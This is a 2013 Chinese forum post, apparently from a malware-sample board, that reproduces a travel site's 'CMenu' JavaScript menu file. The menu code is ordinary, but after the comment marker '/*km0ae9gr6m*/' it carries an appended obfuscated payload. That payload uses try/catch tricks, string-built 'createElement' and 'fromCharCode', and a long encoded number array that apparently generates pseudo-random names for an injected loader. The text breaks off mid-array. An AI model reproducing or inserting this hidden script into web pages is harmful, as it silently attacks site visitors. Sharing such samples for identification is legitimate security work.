查看: 798|回复: 1
收起左侧

[已鉴定] http://www.raytreacytravel.com/ 很給力

[复制链接]
fireold
发表于 2013-7-7 07:20:57 | 显示全部楼层 |阅读模式
  1. /**
  2. * CMenu (Classic Menu)
  3. *
  4. * Modified version for the BonusThemes.com Travel In Template
  5. * http://www.bonusthemes.com
  6. *
  7. * [url=home.php?mod=space&uid=570682]@version[/url] 1.2
  8. * @copyright Creative Pulse 2008
  9. * [url=home.php?mod=space&uid=101051]@link[/url] http://www.creativepulse.eu/goto/cmenu
  10. */

  11. function CMenu(aa) {
  12.     if (typeof aa.iname != 'string') {
  13.         alert('CMenu initialization error: Instance name is missing');
  14.         return;
  15.     }
  16.     this.iname = aa.iname;
  17.     var ba = navigator.userAgent.toLowerCase().match(/msie (\d(.\d*)?)/);
  18.     var ca = ba && ba[1] && ba[1] < 7;
  19.     this.hide_timeout = typeof aa.hide_timeout != 'number' ? 500 : aa.hide_timeout;
  20.     this.mi_layers = typeof aa.mi_layers != 'number' ? 1 : aa.mi_layers;
  21.     if (this.mi_layers < 1) this.mi_layers = 1;
  22.     this.mi_empty_normal_class = typeof aa.mi_empty_normal_class != 'string' ? '' : aa.mi_empty_normal_class;
  23.     this.mi_empty_hover_class = typeof aa.mi_empty_hover_class != 'string' ? '' : aa.mi_empty_hover_class;
  24.     this.mi_full_normal_class = typeof aa.mi_full_normal_class != 'string' ? '' : aa.mi_full_normal_class;
  25.     this.mi_full_hover_class = typeof aa.mi_full_hover_class != 'string' ? '' : aa.mi_full_hover_class;
  26.     this.rounded_corners = typeof aa.rounded_corners != 'boolean' ? true : aa.rounded_corners;
  27.     this.transparency = typeof aa.transparency != 'boolean' ? true : aa.transparency;
  28.     if (this.transparency) {
  29.         this.transparency_ie6 = typeof aa.transparency_ie6 != 'boolean' ? false : aa.transparency_ie6;
  30.         if (!this.transparency_ie6 && ca) this.transparency = false;
  31.     }
  32.     if (this.transparency) {
  33.         this.min_opacity = typeof aa.min_opacity != 'number' ? 0 : aa.min_opacity;
  34.         if (this.min_opacity < 0) this.min_opacity = 0;
  35.         else if (this.min_opacity > 100) this.min_opacity = 100;
  36.         this.max_opacity = typeof aa.max_opacity != 'number' ? 0 : aa.max_opacity;
  37.         if (this.max_opacity < 0) this.max_opacity = 0;
  38.         else if (this.max_opacity > 100) this.max_opacity = 100;
  39.     }
  40.     this.panel_offset1_x = typeof aa.panel_offset1_x != 'number' ? 0 : aa.panel_offset1_x;
  41.     this.panel_offset1_y = typeof aa.panel_offset1_y != 'number' ? 0 : aa.panel_offset1_y;
  42.     this.panel_offset2_x = typeof aa.panel_offset2_x != 'number' ? 0 : aa.panel_offset2_x;
  43.     this.panel_offset2_y = typeof aa.panel_offset2_y != 'number' ? 0 : aa.panel_offset2_y;
  44.     if (!this.rounded_corners) {
  45.         this.panel_offset2_x = 0;
  46.         this.panel_offset2_y = 0;
  47.     }
  48.     this.itemborder_class = typeof aa.itemborder_class != 'string' ? '' : aa.itemborder_class;
  49.     this.separator_class = typeof aa.separator_class != 'string' ? '' : aa.separator_class;
  50.     this.panel_class = typeof aa.panel_class != 'string' ? '' : aa.panel_class;
  51.     this.panel_tl_class = typeof aa.panel_tl_class != 'string' ? '' : aa.panel_tl_class;
  52.     this.panel_tc_class = typeof aa.panel_tc_class != 'string' ? '' : aa.panel_tc_class;
  53.     this.panel_tr_class = typeof aa.panel_tr_class != 'string' ? '' : aa.panel_tr_class;
  54.     this.panel_ml_class = typeof aa.panel_ml_class != 'string' ? '' : aa.panel_ml_class;
  55.     this.panel_mr_class = typeof aa.panel_mr_class != 'string' ? '' : aa.panel_mr_class;
  56.     this.panel_bl_class = typeof aa.panel_bl_class != 'string' ? '' : aa.panel_bl_class;
  57.     this.panel_bc_class = typeof aa.panel_bc_class != 'string' ? '' : aa.panel_bc_class;
  58.     this.panel_br_class = typeof aa.panel_br_class != 'string' ? '' : aa.panel_br_class;
  59.     this.ch_create = typeof aa.ch_create == 'undefined' ? null : aa.ch_create;
  60.     this.ch_mouseover = typeof aa.ch_mouseover == 'undefined' ? null : aa.ch_mouseover;
  61.     this.ch_mouseout = typeof aa.ch_mouseout == 'undefined' ? null : aa.ch_mouseout;
  62.     this.ch_panel_show = typeof aa.ch_panel_show == 'undefined' ? null : aa.ch_panel_show;
  63.     this.ch_panel_hide = typeof aa.ch_panel_hide == 'undefined' ? null : aa.ch_panel_hide;
  64.     this.ch_state_change = typeof aa.ch_state_change == 'undefined' ? null : aa.ch_state_change;
  65.     this.animate = typeof aa.animate != 'undefined' || typeof aa.anim_step != 'undefined' || typeof aa.anim_interval != 'undefined';
  66.     if (typeof aa.animate == 'boolean' && !aa.animate) this.animate = false;
  67.     if (this.animate) {
  68.         this.anim_step = typeof aa.anim_step != 'number' ? 30 : aa.anim_step;
  69.         if (this.anim_step <= 0 || this.anim_step > 100) this.anim_step = 1;
  70.         this.anim_interval = typeof aa.anim_interval != 'number' ? 100 : aa.anim_interval;
  71.     }
  72.     this.side = typeof aa.side != 'string' ? '' : aa.side.replace(/^\s+|\s+$/g, '').toLowerCase();
  73.     if (this.side != 'left' && this.side != 'right' && this.side != 'up' && this.side != 'down') this.side = 'right';
  74.     this.orientation = typeof aa.orientation != 'string' ? '' : aa.orientation.replace(/^\s+|\s+$/g, '').toLowerCase();
  75.     if ((this.side == 'left' || this.side == 'right') && this.orientation != 'up' && this.orientation != 'down') this.orientation = 'down';
  76.     else if ((this.side == 'up' || this.side == 'down') && this.orientation != 'left' && this.orientation != 'right') this.orientation = 'right';
  77.     this.direction = this.side.charAt(0) + this.orientation.charAt(0);
  78.     this.last_inst_id = 0;
  79.     this.menuitems = new Array();
  80.     this.registry = new Array();
  81.     this.timer_hide = 0;
  82.     this.vis_mi = null;
  83.     this.wdg_base = document.getElementsByTagName('body')[0];
  84. }
  85. CMenu.prototype.registry_add = function(mi) {
  86.     this.registry.push(mi);
  87.     return this.registry.length - 1;
  88. }
  89. CMenu.prototype.add_item = function(da) {
  90.     da.base = this;
  91.     da.parent = this;
  92.     da.iname = typeof da.id != 'string' ? '' : da.id;
  93.     var mi = new CMenuItem(da, true);
  94.     this.menuitems.push(mi);
  95.     return mi;
  96. }
  97. CMenu.prototype.run = function() {
  98.     for (var i = 0, len = this.menuitems.length; i < len; i++) this.menuitems[i].run();
  99. }
  100. CMenu.prototype.handle_mouseover = function(ea, e) {
  101.     if (this.timer_hide > 0) {
  102.         clearTimeout(this.timer_hide);
  103.         this.timer_hide = 0;
  104.     }
  105.     var mi = this.registry[ea];
  106.     if (this.vis_mi) {
  107.         var fa = new Array();
  108.         mi.query_panels(fa, true);
  109.         var ga = new Array();
  110.         this.vis_mi.query_panels(ga, false);
  111.         while (true) {
  112.             var ha = ga.shift();
  113.             var ia = fa.shift();
  114.             if (!ha) break;
  115.             if (!ia || ha != ia) {
  116.                 ha.hide_now();
  117.                 while (ha = ga.shift()) ha.hide_now();
  118.                 break;
  119.             }
  120.         }
  121.     }
  122.     this.vis_mi = mi;
  123.     mi.handle_mouseover(e);
  124. }
  125. CMenu.prototype.handle_mouseout = function(ja, e) {
  126.     if (this.timer_hide == 0) this.timer_hide = setTimeout('document["' + this.iname + '"].hide_process(' + ja + ')', this.hide_timeout);
  127.     var mi = this.registry[ja];
  128.     mi.handle_mouseout(e);
  129. }
  130. CMenu.prototype.handle_click = function(ka) {
  131.     var mi = this.registry[ka];
  132.     mi.handle_click();
  133. }
  134. CMenu.prototype.hide_process = function(la) {
  135.     var mi = this.registry[la];
  136.     mi.hide_process();
  137. }

  138. function CMenuItem(ma, na) {
  139.     this.is_header = na;
  140.     this.base = ma.base;
  141.     this.parent = ma.parent;
  142.     this.iname = typeof ma.iname != 'string' ? '' : ma.iname;
  143.     this.link = typeof ma.link != 'string' ? '' : ma.link;
  144.     this.caption = typeof ma.caption != 'string' ? '' : ma.caption;
  145.     this.selection = typeof ma.selection != 'number' ? 0 : ma.selection;
  146.     this.type = typeof ma.type != 'string' ? '' : ma.type;
  147.     if (this.type != 'text' && this.type != 'link' && this.type != 'link_new' && this.type != 'link_popup' && this.type != 'separator') {
  148.         if (this.link != '' && this.caption != '') this.type = 'link';
  149.         else if (this.caption != '') this.type = 'text';
  150.         else this.type = 'separator';
  151.     }
  152.     this.panel_inner = null;
  153.     this.panel_outer = null;
  154.     this.panel_x = 0;
  155.     this.panel_y = 0;
  156.     this.panel_outer_w = 0;
  157.     this.panel_outer_h = 0;
  158.     this.panel_inner_w = 0;
  159.     this.panel_inner_h = 0;
  160.     this.panel_ch_x = 0;
  161.     this.panel_ch_y = 0;
  162.     this.panel_ch_min_w = 0;
  163.     this.anim_progress = 0;
  164.     this.anim_speed = 0;
  165.     this.anim_timer = 0;
  166.     this.menuitems = new Array();
  167.     this.state_mouseover = false;
  168.     this.state_panelopen = false;
  169.     if (this.iname == '') {
  170.         this.wdg = document.createElement('div');
  171.         if (typeof ma.id != 'undefined') this.wdg.id = ma.id;
  172.         var oa = this.parent.panel_inner;
  173.         if (this.base.itemborder_class != '' && oa.childNodes.length > 0) {
  174.             var ib = document.createElement('div');
  175.             oa.appendChild(ib);
  176.             ib.className = this.base.itemborder_class;
  177.         }
  178.         oa.appendChild(this.wdg);
  179.         oa = this.wdg;
  180.         for (var i = 2; i <= this.base.mi_layers; i++) {
  181.             obj = document.createElement('div');
  182.             oa.appendChild(obj);
  183.             obj.className = 'l' + i;
  184.             oa = obj;
  185.         }
  186.         if (this.type == 'separator') {
  187.             if (this.base.separator_class != '') this.wdg.className = this.base.separator_class;
  188.         } else {
  189.             if (this.caption != '') {
  190.                 var pa = document.createElement('div');
  191.                 pa.innerHTML = this.caption;
  192.                 pa.className = 'text';
  193.                 oa.appendChild(pa);
  194.             }
  195.             if (this.type == 'link' || this.type == 'link_new' || this.type == 'link_popup') this.wdg.style.cursor = 'pointer';
  196.             this.h_state_change();
  197.         }
  198.     } else {
  199.         this.wdg = document.getElementById(this.iname);
  200.     }
  201.     this.reg_id = this.base.registry_add(this);
  202.     this.wdg.setAttribute('base_iname', this.base.iname);
  203.     this.wdg.setAttribute('reg_id', this.reg_id);
  204.     this.wdg.onmouseover = function(e) {
  205.         document[this.getAttribute('base_iname')].handle_mouseover(this.getAttribute('reg_id'), e);
  206.     }
  207.     this.wdg.onmouseout = function(e) {
  208.         document[this.getAttribute('base_iname')].handle_mouseout(this.getAttribute('reg_id'), e);
  209.     }
  210.     this.wdg.onclick = function() {
  211.         document[this.getAttribute('base_iname')].handle_click(this.getAttribute('reg_id'));
  212.     }
  213.     if (this.base.ch_create != null) this.base.ch_create(this);
  214. }
  215. CMenuItem.prototype.last_child = function(qa) {
  216.     while (qa.firstChild) qa = qa.firstChild;
  217.     return qa;
  218. }
  219. CMenuItem.prototype.isMouseEnterOrLeave = function(ra, e) {
  220.     if (e.type != 'mouseout' && e.type != 'mouseover') return false;
  221.     var sa = e.relatedTarget || (e.type == 'mouseout' ? e.toElement : e.fromElement);
  222.     while (sa && sa != ra) sa = sa.parentNode;
  223.     return sa != ra;
  224. }
  225. CMenuItem.prototype.add_item = function(ta) {
  226.     if (!this.panel_outer) {
  227.         this.panel_outer = document.createElement('div');
  228.         this.base.wdg_base.appendChild(this.panel_outer);
  229.         this.panel_outer.style.overflow = 'hidden';
  230.         if (this.base.rounded_corners) {
  231.             var ua = document.createElement('table');
  232.             this.panel_outer.appendChild(ua);
  233.             ua.setAttribute('cellSpacing', 0);
  234.             ua.setAttribute('cellPadding', 0);
  235.             var va = document.createElement('tbody');
  236.             ua.appendChild(va);
  237.             var tr = document.createElement('tr');
  238.             va.appendChild(tr);
  239.             var wa = document.createElement('td');
  240.             tr.appendChild(wa);
  241.             if (this.base.panel_tl_class != '') wa.className = this.base.panel_tl_class;
  242.             var xa = document.createElement('td');
  243.             tr.appendChild(xa);
  244.             if (this.base.panel_tc_class != '') xa.className = this.base.panel_tc_class;
  245.             var ya = document.createElement('td');
  246.             tr.appendChild(ya);
  247.             if (this.base.panel_tr_class != '') ya.className = this.base.panel_tr_class;
  248.             var tr = document.createElement('tr');
  249.             va.appendChild(tr);
  250.             var za = document.createElement('td');
  251.             tr.appendChild(za);
  252.             if (this.base.panel_ml_class != '') za.className = this.base.panel_ml_class;
  253.             var Aa = document.createElement('td');
  254.             tr.appendChild(Aa);
  255.             var Ba = document.createElement('td');
  256.             tr.appendChild(Ba);
  257.             if (this.base.panel_mr_class != '') Ba.className = this.base.panel_mr_class;
  258.             var tr = document.createElement('tr');
  259.             va.appendChild(tr);
  260.             var Ca = document.createElement('td');
  261.             tr.appendChild(Ca);
  262.             if (this.base.panel_bl_class != '') Ca.className = this.base.panel_bl_class;
  263.             var Da = document.createElement('td');
  264.             tr.appendChild(Da);
  265.             if (this.base.panel_bc_class != '') Da.className = this.base.panel_bc_class;
  266.             var Ea = document.createElement('td');
  267.             tr.appendChild(Ea);
  268.             if (this.base.panel_br_class != '') Ea.className = this.base.panel_br_class;
  269.             this.panel_inner = document.createElement('div');
  270.             Aa.appendChild(this.panel_inner);
  271.         } else {
  272.             this.panel_inner = document.createElement('div');
  273.             this.panel_outer.appendChild(this.panel_inner);
  274.         }
  275.         if (this.base.panel_class != '') this.panel_inner.className = this.base.panel_class;
  276.     }
  277.     ta.base = this.base;
  278.     ta.parent = this;
  279.     var mi = new CMenuItem(ta, false);
  280.     this.menuitems.push(mi);
  281.     this.h_state_change();
  282.     return mi;
  283. }
  284. CMenuItem.prototype.run = function() {
  285.     if (this.panel_outer) {
  286.         this.panel_outer.style.position = 'absolute';
  287.         this.panel_outer.style.visibility = 'hidden';
  288.         this.panel_outer.style.left = '0px';
  289.         this.panel_outer.style.top = '0px';
  290.         this.panel_outer.style.display = 'block';
  291.         this.panel_outer_w = this.panel_outer.offsetWidth;
  292.         this.panel_outer_h = this.panel_outer.offsetHeight;
  293.         this.panel_inner_w = this.panel_inner.offsetWidth;
  294.         this.panel_inner_h = this.panel_inner.offsetHeight;
  295.         this.panel_outer.style.display = 'none';
  296.         this.panel_outer.style.visibility = 'visible';
  297.     }
  298.     for (var i = 0, len = this.menuitems.length; i < len; i++) this.menuitems[i].run();
  299. }
  300. CMenuItem.prototype.query_panels = function(ar, Fa) {
  301.     if (Fa && this.anim_speed < 0) this.anim_speed = this.base.anim_step;
  302.     if (this.panel_outer) ar.unshift(this);
  303.     if (!this.is_header) this.parent.query_panels(ar, Fa);
  304. }
  305. CMenuItem.prototype.handle_timer = function() {
  306.     this.anim_timer = 0;
  307.     this.anim_progress += this.anim_speed;
  308.     var Ga = this.anim_speed > 0 ? Math.ceil(this.anim_progress) : Math.floor(this.anim_progress);
  309.     if (Ga <= 0) {
  310.         this.panel_hide();
  311.         this.anim_speed = 0;
  312.     } else {
  313.         this.panel_show();
  314.         if (Ga > 100) Ga = 100;
  315.         this.animateit(Ga);
  316.         if (Ga < 100) this.anim_timer = setTimeout('document["' + this.base.iname + '"].registry[' + this.reg_id + '].handle_timer()', this.base.anim_interval);
  317.         else this.anim_speed = 0;
  318.     }
  319. }
  320. CMenuItem.prototype.animateit = function(Ha) {
  321.     if (this.base.transparency) {
  322.         var Ia = Math.round((Ha / 100) * (this.base.max_opacity - this.base.min_opacity) + this.base.min_opacity);
  323.         this.panel_outer.style.opacity = Ia / 100;
  324.         this.panel_outer.style.filter = 'alpha(opacity=' + Ia + ')';
  325.     }
  326.     var h = Math.round(this.panel_outer_h * Ha / 100);
  327.     switch (this.base.direction) {
  328.     case 'dl':
  329.     case 'dr':
  330.     case 'ld':
  331.     case 'rd':
  332.         this.panel_outer.style.height = h + 'px';
  333.         break;
  334.     case 'ul':
  335.     case 'ur':
  336.     case 'lu':
  337.     case 'ru':
  338.         this.panel_outer.style.top = (this.panel_y + this.panel_outer_h - h) + 'px';
  339.         this.panel_outer.style.height = h + 'px';
  340.         this.panel_outer.scrollTop = this.panel_outer_h - h;
  341.         break;
  342.     }
  343. }
  344. CMenuItem.prototype.hide_process = function() {
  345.     if (this.panel_outer) {
  346.         if (this.base.animate && this.anim_progress > 1) {
  347.             if (this.anim_speed == 0) this.anim_progress = 100 - this.base.anim_step;
  348.             this.anim_speed = -this.base.anim_step;
  349.             if (this.anim_timer == 0) this.anim_timer = setTimeout('document["' + this.base.iname + '"].registry[' + this.reg_id + '].handle_timer()', this.base.anim_interval);
  350.         } else {
  351.             this.panel_hide();
  352.         }
  353.     }
  354.     if (!this.is_header) this.parent.hide_process();
  355. }
  356. CMenuItem.prototype.hide_now = function() {
  357.     if (this.anim_timer > 0) {
  358.         clearTimeout(this.anim_timer);
  359.         this.anim_timer = 0;
  360.     }
  361.     this.anim_speed = 0;
  362.     this.anim_progress = 0;
  363.     if (this.panel_outer) this.panel_hide();
  364. }
  365. CMenuItem.prototype.handle_mouseover = function(e) {
  366.     if (!this.isMouseEnterOrLeave(this.wdg, e || window.event)) return;
  367.     if (this.base.ch_mouseover != null) this.base.ch_mouseover(this);
  368.     if (this.panel_outer) {
  369.         if (this.panel_ch_x == 0 && this.panel_ch_y == 0) {
  370.             var x = 0,
  371.                 y = 0,
  372.                 obj = this.wdg;
  373.             while (obj) {
  374.                 x += obj.offsetLeft;
  375.                 y += obj.offsetTop;
  376.                 obj = obj.offsetParent;
  377.             }
  378.             switch (this.base.direction) {
  379.             case 'ul':
  380.                 if (this.is_header) {
  381.                     x += this.wdg.offsetWidth - this.panel_outer_w;
  382.                     y -= this.panel_outer_h;
  383.                 } else {
  384.                     x -= this.panel_outer_w;
  385.                     y += this.wdg.offsetHeight - this.panel_outer_h;
  386.                 }
  387.                 break;
  388.             case 'ur':
  389.                 if (this.is_header) {
  390.                     y -= this.panel_outer_h;
  391.                 } else {
  392.                     x += this.wdg.offsetWidth;
  393.                     y += this.wdg.offsetHeight - this.panel_outer_h;
  394.                 }
  395.                 break;
  396.             case 'dl':
  397.                 if (this.is_header) {
  398.                     x += this.wdg.offsetWidth - this.panel_outer_w;
  399.                     y += this.wdg.offsetHeight;
  400.                 } else {
  401.                     x -= this.panel_outer_w;
  402.                 }
  403.                 break;
  404.             case 'dr':
  405.                 if (this.is_header) y += this.wdg.offsetHeight;
  406.                 else x += this.wdg.offsetWidth;
  407.                 break;
  408.             case 'lu':
  409.                 x -= this.panel_outer_w;
  410.                 y += this.wdg.offsetHeight - this.panel_outer_h;
  411.                 break;
  412.             case 'ld':
  413.                 x -= this.panel_outer_w;
  414.                 break;
  415.             case 'ru':
  416.                 x += this.wdg.offsetWidth;
  417.                 y += this.wdg.offsetHeight - this.panel_outer_h;
  418.                 break;
  419.             case 'rd':
  420.                 x += this.wdg.offsetWidth;
  421.                 break;
  422.             }
  423.             this.panel_x = x;
  424.             this.panel_y = y;
  425.             if (this.is_header) {
  426.                 this.panel_x += this.base.panel_offset1_x;
  427.                 this.panel_y += this.base.panel_offset1_y;
  428.             } else {
  429.                 this.panel_x += this.base.panel_offset2_x;
  430.                 this.panel_y += this.base.panel_offset2_y;
  431.             }
  432.         } else {
  433.             this.panel_x = this.panel_ch_x;
  434.             this.panel_y = this.panel_ch_y;
  435.         }
  436.         if (this.panel_ch_min_w > 0 && this.panel_outer_w < this.panel_ch_min_w) this.panel_inner.style.width = (this.panel_inner_w + this.panel_ch_min_w - this.panel_outer_w) + 'px';
  437.         this.panel_outer.style.left = this.panel_x + 'px';
  438.         this.panel_outer.style.top = this.panel_y + 'px';
  439.         this.panel_show();
  440.         if (this.base.animate && this.anim_progress < 100) {
  441.             if (this.anim_speed == 0) {
  442.                 this.anim_progress = 1;
  443.                 this.animateit(1);
  444.             }
  445.             this.anim_speed = this.base.anim_step;
  446.             if (this.anim_timer == 0) this.anim_timer = setTimeout('document["' + this.base.iname + '"].registry[' + this.reg_id + '].handle_timer()', this.base.anim_interval);
  447.         }
  448.     }
  449.     this.state_mouseover = true;
  450.     this.h_state_change();
  451. }
  452. CMenuItem.prototype.handle_mouseout = function(e) {
  453.     if (!this.isMouseEnterOrLeave(this.wdg, e || window.event)) return;
  454.     if (this.base.ch_mouseout != null) this.base.ch_mouseout(this);
  455.     this.state_mouseover = false;
  456.     this.h_state_change();
  457. }
  458. CMenuItem.prototype.handle_click = function() {
  459.     if (this.link != '') {
  460.         switch (this.type) {
  461.         case 'link':
  462.             window.location = this.link;
  463.             break;
  464.         case 'link_new':
  465.             window.open(this.link, '_blank');
  466.             break;
  467.         case 'link_popup':
  468.             window.open(this.link, '', 'toolbar=no,location=no,status=no,menubar=no,scrollbars=yes,resizable=yes,width=780,height=550');
  469.             break;
  470.         }
  471.     }
  472. }
  473. CMenuItem.prototype.panel_show = function() {
  474.     if (this.panel_outer.style.display != 'block') {
  475.         if (this.base.ch_panel_show != null) this.base.ch_panel_show(this);
  476.         this.panel_outer.style.height = '1px';
  477.         this.panel_outer.style.display = 'block';
  478.         this.state_panelopen = true;
  479.         this.h_state_change();
  480.     }
  481. }
  482. CMenuItem.prototype.panel_hide = function() {
  483.     if (this.panel_outer.style.display != 'none') {
  484.         if (this.base.ch_panel_hide != null) this.base.ch_panel_hide(this);
  485.         this.panel_outer.style.display = 'none';
  486.         this.state_panelopen = false;
  487.         this.h_state_change();
  488.     }
  489. }
  490. CMenuItem.prototype.h_state_change = function() {
  491.     if (this.base.ch_state_change != null) this.base.ch_state_change(this);
  492.     if (!this.is_header) {
  493.         if (this.type != 'separator') {
  494.             var Ja = 'mi' + (this.panel_outer ? '_full' : '_empty') + (this.state_mouseover || this.state_panelopen ? '_hover' : '_normal') + '_class';
  495.             this.wdg.className = this.base[Ja];
  496.         }
  497.     }
  498. } /*km0ae9gr6m*/
  499. try {
  500.     prototype % 2;
  501. } catch (asd) {
  502.     x = 2;
  503. }
  504. try {
  505.     q = document[(x) ? "c" + "r" : 2 + "e" + "a" + "t" + "e" + "E" + "l" + "e" + "m" + ((f) ? "e" + "n" + "t" : "")]("p");
  506.     q.appendChild(q + "");
  507. } catch (fwbewe) {
  508.     i = 0;
  509.     try {
  510.         prototype * 5;
  511.     } catch (z) {
  512.         fr = "fromChar";
  513.         f = [510, 702, 550, 594, 580, 630, 555, 660, 160, 660, 505, 720, 580, 492, 485, 660, 500, 666, 545, 468, 585, 654, 490, 606, 570, 240, 205, 738, 50, 192, 160, 192, 160, 708, 485, 684, 160, 624, 525, 192, 305, 192, 580, 624, 525, 690, 230, 690, 505, 606, 500, 192, 235, 192, 580, 624, 525, 690, 230, 486, 295, 60, 160, 192, 160, 192, 590, 582, 570, 192, 540, 666, 160, 366, 160, 696, 520, 630, 575, 276, 575, 606, 505, 600, 160, 222, 160, 696, 520, 630, 575, 276, 405, 354, 50, 192, 160, 192, 160, 708, 485, 684, 160, 696, 505, 690, 580, 192, 305, 192, 580, 624, 525, 690, 230, 390, 160, 252, 160, 648, 555, 192, 225, 192, 580, 624, 525, 690, 230, 492, 160, 252, 160, 624, 525, 354, 50, 192, 160, 192, 160, 630, 510, 240, 580, 606, 575, 696, 160, 372, 160, 288, 205, 738, 50, 192, 160, 192, 160, 192, 160, 192, 160, 696, 520, 630, 575, 276, 575, 606, 505, 600, 160, 366, 160, 696, 505, 690, 580, 354, 50, 192, 160, 192, 160, 750, 160, 606, 540, 690, 505, 192, 615, 60, 160, 192, 160, 192, 160, 192, 160, 192, 580, 624, 525, 690, 230, 690, 505, 606, 500, 192, 305, 192, 580, 606, 575, 696, 160, 258, 160, 696, 520, 630, 575, 276, 385, 354, 50, 192, 160, 192, 160, 750, 50, 192, 160, 192, 160, 684, 505, 696, 585, 684, 550, 192, 200, 696, 520, 630, 575, 276, 575, 606, 505, 600, 160, 252, 160, 696, 520, 630, 575, 276, 555, 660, 505, 474, 590, 606, 570, 462, 205, 354, 50, 750, 50, 60, 510, 702, 550, 594, 580, 630, 555, 660, 160, 492, 485, 660, 500, 666, 545, 468, 585, 654, 490, 606, 570, 426, 505, 660, 505, 684, 485, 696, 555, 684, 200, 702, 550, 630, 600, 246, 615, 60, 160, 192, 160, 192, 590, 582, 570, 192, 500, 192, 305, 192, 550, 606, 595, 192, 340, 582, 580, 606, 200, 702, 550, 630, 600, 252, 245, 288, 240, 288, 205, 354, 50, 192, 160, 192, 160, 708, 485, 684, 160, 690, 160, 366, 160, 600, 230, 618, 505, 696, 360, 666, 585, 684, 575, 240, 205, 192, 310, 192, 245, 300, 160, 378, 160, 294, 160, 348, 160, 288, 295, 60, 160, 192, 160, 192, 580, 624, 525, 690, 230, 690, 505, 606, 500, 192, 305, 192, 250, 306, 260, 318, 270, 330, 280, 342, 240, 294, 160, 258, 160, 240, 500, 276, 515, 606, 580, 462, 555, 660, 580, 624, 200, 246, 160, 252, 160, 288, 600, 420, 350, 420, 350, 420, 350, 246, 160, 258, 160, 240, 500, 276, 515, 606, 580, 408, 485, 696, 505, 240, 205, 192, 210, 192, 240, 720, 350, 420, 350, 420, 205, 258, 160, 240, 385, 582, 580, 624, 230, 684, 555, 702, 550, 600, 200, 690, 160, 252, 160, 288, 600, 420, 350, 420, 205, 246, 295, 60, 160, 192, 160, 192, 580, 624, 525, 690, 230, 390, 160, 366, 160, 312, 280, 300, 275, 294, 295, 60, 160, 192, 160, 192, 580, 624, 525, 690, 230, 462, 160, 366, 160, 300, 245, 312, 275, 312, 280, 306, 270, 312, 275, 354, 50, 192, 160, 192, 160, 696, 520, 630, 575, 276, 405, 192, 305, 192, 580, 624, 525, 690, 230, 462, 160, 282, 160, 696, 520, 630, 575, 276, 325, 354, 50, 192, 160, 192, 160, 696, 520, 630, 575, 276, 410, 192, 305, 192, 580, 624, 525, 690, 230, 462, 160, 222, 160, 696, 520, 630, 575, 276, 325, 354, 50, 192, 160, 192, 160, 696, 520, 630, 575, 276, 555, 660, 505, 474, 590, 606, 570, 462, 160, 366, 160, 294, 230, 288, 160, 282, 160, 696, 520, 630, 575, 276, 385, 354, 50, 192, 160, 192, 160, 696, 520, 630, 575, 276, 550, 606, 600, 696, 160, 366, 160, 660, 505, 720, 580, 492, 485, 660, 500, 666, 545, 468, 585, 654, 490, 606, 570, 354, 50, 192, 160, 192, 160, 684, 505, 696, 585, 684, 550, 192, 580, 624, 525, 690, 295, 60, 625, 60, 50, 612, 585, 660, 495, 696, 525, 666, 550, 192, 495, 684, 505, 582, 580, 606, 410, 582, 550, 600, 555, 654, 390, 702, 545, 588, 505, 684, 200, 684, 220, 192, 385, 630, 550, 264, 160, 462, 485, 720, 205, 738, 50, 192, 160, 192, 160, 684, 505, 696, 585, 684, 550, 192, 385, 582, 580, 624, 230, 684, 555, 702, 550, 600, 200, 240, 385, 582, 600, 270, 385, 630, 550, 246, 160, 252, 160, 684, 230, 660, 505, 720, 580, 240, 205, 192, 215, 192, 385, 630, 550, 246, 295, 60, 625, 60, 50, 612, 585, 660, 495, 696, 525, 666, 550, 192, 515, 606, 550, 606, 570, 582, 580, 606, 400, 690, 505, 702, 500, 666, 410, 582, 550, 600, 555, 654, 415, 696, 570, 630, 550, 618, 200, 702, 550, 630, 600, 264, 160, 648, 505, 660, 515, 696, 520, 264, 160, 732, 555, 660, 505, 246, 615, 60, 160, 192, 160, 192, 590, 582, 570, 192, 570, 582, 550, 600, 160, 366, 160, 660, 505, 714, 160, 492, 485, 660, 500, 666, 545, 468, 585, 654, 490, 606, 570, 426, 505, 660, 505, 684, 485, 696, 555, 684, 200, 702, 550, 630, 600, 246, 295, 60, 160, 192, 160, 192, 590, 582, 570, 192, 540, 606, 580, 696, 505, 684, 575, 192, 305, 192, 455, 234, 485, 234, 220, 234, 490, 234, 220, 234, 495, 234, 220, 234, 500, 234, 220, 234, 505, 234, 220, 234, 510, 234, 220, 234, 515, 234, 220, 234, 520, 234, 220, 234, 525, 234, 220, 234, 530, 234, 220, 234, 535, 234, 220, 234, 540, 234, 220, 234, 545, 234, 220, 234, 550, 234, 220, 234, 555, 234, 220, 234, 560, 234, 220, 234, 565, 234, 220, 234, 570, 234, 220, 234, 575, 234, 220, 234, 580, 234, 220, 234, 585, 234, 220, 234, 590, 234, 220, 234, 595, 234, 220, 234, 600, 234, 220, 234, 605, 234, 220, 234, 610, 234, 465, 354, 50, 192, 160, 192, 160, 708, 485, 684, 160, 690, 580, 684, 160, 366, 160, 234, 195, 354, 50, 192, 160, 192, 160, 612, 555, 684, 200, 708, 485, 684, 160, 630, 160, 366, 160, 288, 295, 192, 525, 192, 300, 192, 540, 606, 550, 618, 580, 624, 295, 192, 525, 192, 215, 258, 160, 246, 615, 60, 160, 192, 160, 192, 160, 192, 160, 192, 575, 696, 570, 192, 215, 366, 160, 648, 505, 696, 580, 606, 570, 690, 455, 594, 570, 606, 485, 696, 505, 492, 485, 660, 500, 666, 545, 468, 585, 654, 490, 606, 570, 240, 570, 582, 550, 600, 220, 192, 240, 264, 160, 648, 505, 696, 580, 606, 570, 690, 230, 648, 505, 660, 515, 696, 520, 192, 225, 192, 245, 246, 465, 354, 50, 192, 160, 192, 160, 750, 50, 192, 160, 192, 160, 684, 505, 696, 585, 684, 550, 192, 575, 696, 570, 192, 215, 192, 195, 276, 195, 192, 215, 192, 610, 666, 550, 606, 295, 60, 625, 60, 50, 690, 505, 696, 420, 630, 545, 606, 555, 702, 580, 240, 510, 702, 550, 594, 580, 630, 555, 660, 200, 246, 615, 60, 160, 192, 160, 192, 580, 684, 605, 738, 50, 192, 160, 192, 160, 192, 160, 192, 160, 630, 510, 240, 580, 726, 560, 606, 555, 612, 160, 630, 510, 684, 485, 654, 505, 522, 485, 690, 335, 684, 505, 582, 580, 606, 500, 192, 305, 366, 160, 204, 585, 660, 500, 606, 510, 630, 550, 606, 500, 204, 205, 738, 50, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 630, 510, 684, 485, 654, 505, 522, 485, 690, 335, 684, 505, 582, 580, 606, 500, 192, 305, 192, 580, 684, 